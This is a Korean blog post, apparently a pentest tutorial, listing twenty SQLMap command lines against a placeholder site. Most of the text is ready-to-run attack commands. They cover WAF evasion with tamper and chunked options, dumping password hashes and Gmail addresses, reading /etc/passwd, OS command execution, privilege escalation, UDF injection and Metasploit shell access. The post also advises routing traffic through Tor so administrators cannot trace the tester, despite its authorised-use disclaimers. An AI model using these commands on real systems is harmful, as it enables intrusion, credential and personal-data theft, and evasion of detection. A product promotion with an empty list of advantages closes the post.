안녕하세요, 최근 한 프로젝트에서 SQL 인젝션 취약점을 발견하고 "정말로... 2025년인데!"라고 놀란 경험에서, 이번에는 SQLMap의 실용적인 사용법을 공유하고자 합니다.
SQL 인젝션이 솔직히 "과거의 취약점"이라고 생각하지 않으셨나요? 저도 그렇게 생각했지만, OWASP의 조사에 따르면 여전히 웹 애플리케이션 취약점 톱 10에 포함되어 있습니다. 특히 최근 API 기반 시스템에서는 새로운 형태로 부활하고 있는 사례도 있습니다.
이번에는 제가 실제로 사용하고 있는 SQLMap의 고급 테크닉 20선을 소개합니다. 물론, 모두 허가된 환경에서의 테스트용입니다! 불법 접근에는 절대 사용하지 마세요.

sqlmap -u "http://site.com?id=1" --level=5 --risk=3
먼저 시도해야 할 것은 기본 옵션의 강화입니다. --level=5를 지정하면 일반 GET 파라미터뿐만 아니라 Cookie, User-Agent, Referer, X-Forwarded-For 등의 헤더까지 조사 대상이 됩니다.
제 경험에 따르면, 많은 개발자들이 GET 파라미터만 보호하고 헤더를 통한 주입을 간과하기 쉽습니다. 특히 레거시 시스템 개선 시에는 주의가 필요합니다!
sqlmap -u "http://site.com?id=1" --chunked
이것은 정말 유용한 테크닉입니다. 많은 WAF는 HTTP 요청 전체를 본 후 필터링하지만, --chunked 옵션을 사용하면 요청을 작은 조각으로 나누어 전송하므로 WAF 탐지를 피할 수 있습니다.
최근 프로젝트에서도 유명 WAF를 도입한 사이트에서 이 옵션만으로 우회할 수 있었습니다. 물론, 즉시 클라이언트에 보고하고 수정하도록 했습니다!
sqlmap -u "http://site.com/article/123*.html" --prefix="')" --suffix="-- -"
최근 사이트는 의사 정적 URL이 많습니다. 이런 URL에서도 --prefix와 --suffix를 사용하면 SQL 인젝션 테스트가 가능합니다.
sqlmap -u "http://site.com?id=1" --proxy="socks5://127.0.0.1:9050"
실무 경험에서, Tor 네트워크나 프록시 풀을 활용하여 실제 IP 주소를 숨기는 것이 매우 효과적입니다. 이 테크닉을 사용하면 조사 대상 시스템 관리자의 추적을 피하면서 보안 평가를 실시할 수 있습니다. 특히 법적 허가를 받은 침투 테스트에서도 익명성을 유지함으로써 더 현실적인 공격 시나리오를 시뮬레이션할 수 있습니다.
sqlmap -u "http://site.com?id=1" --identify-waf --tamper="apostrophemask,between"
실제 프로젝트에서는 먼저 WAF의 종류를 파악하는 것이 중요합니다. --identify-waf 옵션을 사용하면 Cloudflare나 ModSecurity 등의 주요 WAF를 자동 감지할 수 있습니다. 또한 --tamper 스크립트를 조합하면 감지된 WAF에 대한 회피책을 자동 적용할 수 있습니다. 저는 항상 여러 tamper 스크립트를 쉼표로 구분하여 지정해 성공률을 높이고 있습니다.
sqlmap -u "http://site.com?id=1" --null-connection --invalid-bignum
공격 감지 시스템을 혼란시키는 테크닉도 몇 가지 있습니다. --null-connection은 응답 내용이 아닌 길이만 가져오므로 트래픽량을 줄일 수 있습니다. 또한 --invalid-bignum은 비정상적으로 큰 숫자를 사용해 단순한 WAF를 회피합니다. 이러한 옵션을 조합하면 더 고급 방어 시스템에서도 탐지를 어렵게 할 수 있습니다.
내부 보안 테스트에서도 때로는 "어디서 접근하고 있는지"를 로그에서 특정할 수 없게 하고 싶은 경우가 있습니다. 그럴 때는 Tor 네트워크를 경유시키는 것이 좋습니다.
sqlmap -u "http://site.com?id=1" --dump -T users -C password --hex
패스워드 해시 같은 바이너리 데이터를 추출할 때는 --hex 옵션을 사용하면 안전합니다. 이것을 모르고 문자가 깨진 데이터로 고민했던 날들이 생각납니다...
sqlmap -u "http://site.com?id=1" --dump -D dbname --start=1000 --stop=2000
큰 데이터베이스를 다룰 때는 모든 레코드를 한 번에 추출하려 하지 말고, --start와 --stop으로 범위를 지정하면 효율적입니다. 테스트 환경에서도 불필요한 서버 부하를 피하기 위해 이 방법을 사용하고 있습니다.
sqlmap -u "http://site.com?id=1" -D db -T users -C email --regex=".*@gmail\.com"
정규 표현식을 사용하면 특정 패턴에 일치하는 데이터만 추출할 수 있습니다. 예를 들어, Gmail 사용자만 추출하고 싶은 경우 등에 편리합니다.
sqlmap -u "http://site.com?id=1" --time-sec=15 --technique=T
시간 기반 블라인드 SQL 인젝션은 서버의 응답 시간에 의존하므로 환경에 따라 조정이 필요합니다. --time-sec로 대기 시간을 조정하고, --technique=T로 시간 기반 공격에 특화시킬 수 있습니다.
sqlmap -u "http://site.com?id=1" --dump --output-dir=/reports --report=report.html
상사나 동료에게 보고할 때 편리한 것이 HTML 리포트 기능입니다. --report 옵션을 사용하면 보기 좋은 리포트가 자동 생성됩니다.
sqlmap -u "http://site.com?id=1" --os-cmd="whoami" --priv-esc
SQL 인젝션의 위험성을 보여주는 데 가장 적합한 것이 OS 명령 실행입니다. --os-cmd로 명령을 실행하고, --priv-esc로 권한 상승 가능성도 체크할 수 있습니다.
sqlmap -u "http://site.com?id=1" --file-read="/etc/passwd"
파일 읽기 기능을 사용하면 서버상의 중요한 파일에 접근할 수 있는지 테스트할 수 있습니다. 이것이 성공하면 정말 무서운 일입니다...
sqlmap -u "http://site.com?id=1" --udf-inject --shared-lib="/tmp/lib.so"
MySQL이나 PostgreSQL 등에서는 UDF(사용자 정의 함수)를 주입함으로써 데이터베이스의 권한을 확장할 수 있는 경우가 있습니다. 이것은 상당히 고급 테크닉이지만, 알아두면 유용할 때가 있습니다.
sqlmap -u "http://site.com?id=1" --os-pwn --msf-path=/opt/metasploit
본격적인 침투 테스트에서는 SQLMap과 Metasploit을 연계시키는 경우도 있습니다. --os-pwn 옵션을 사용하면 SQL 인젝션에서 쉘을 획득하는 곳까지 자동화할 수 있습니다.
최근 웹 애플리케이션은 대부분 API 기반이 되었습니다. SQLMap은 이러한 환경에서도 활용할 수 있습니다.
sqlmap -u "http://site.com/form" --csrf-token="token" --csrf-url="http://site.com/get_token"
최근 앱은 CSRF 토큰을 사용하는 경우가 많지만, SQLMap은 이에도 대응합니다. --csrf-token과 --csrf-url을 지정하면 토큰을 자동으로 가져와 사용해 줍니다.
sqlmap -u "http://site.com/api" --data='{"id":1}' --headers="Content-Type: application/json"
REST API 등의 JSON 요청에 대해서도 --data 옵션으로 JSON을 지정하고, 적절한 헤더를 설정하면 테스트할 수 있습니다. 최근 프로젝트에서는 이 패턴이 많습니다.
sqlmap -u "http://site.com?id=1&id=2" --param-del="&"
HTTP 파라미터 오염(HPP)은 같은 파라미터를 여러 번 지정함으로써 발생하는 취약점입니다. --param-del 옵션을 사용하면 이 패턴도 테스트할 수 있습니다.
sqlmap -u "http://site.com/register" --forms --second-url="http://site.com/profile"
이차 SQL 인젝션은 한 번 데이터베이스에 저장된 데이터가 다른 페이지에서 가져와질 때 발생하는 취약점입니다. --second-url 옵션을 사용하면 이 패턴도 테스트할 수 있습니다.
sqlmap -u "http://site.com?id=1" --threads=5 --optimize
대규모 테스트에서는 --threads 옵션으로 멀티스레드화하고, --optimize로 최적화함으로써 테스트 시간을 대폭 단축할 수 있습니다. 다만, 서버에 부하가 걸리므로 주의가 필요합니다.
지금까지 소개한 테크닉은 모두 허가된 환경에서의 보안 테스트를 위한 것입니다. 무단 테스트는 법률 위반이 될 수 있으므로 절대 하지 마세요.
사실 일상적인 개발에서는 "공격 도구"보다 "방어 도구"를 사용하는 경우가 많습니다. 특히 Apidog라는 도구는 API 보안 테스트에도 사용할 수 있어 편리합니다.
Apidog의 장점은:

실무에서 배운 것은 "공격자의 시점"과 "방어자의 시점" 양쪽을 가지는 것의 중요성입니다. SQLMap 같은 공격 도구의 구조를 이해함으로써 더 효과적인 방어책을 강구할 수 있습니다.
두 도구를 모두 사용할 수 있게 되면 보안 테스트의 폭이 크게 넓어집니다!
마지막으로, 보안 테스트는 "파괴"가 아닌 "구축"을 위한 것임을 잊지 마세요. 발견한 취약점은 책임감 있게 보고하고, 더 안전한 웹 구현에 기여합시다.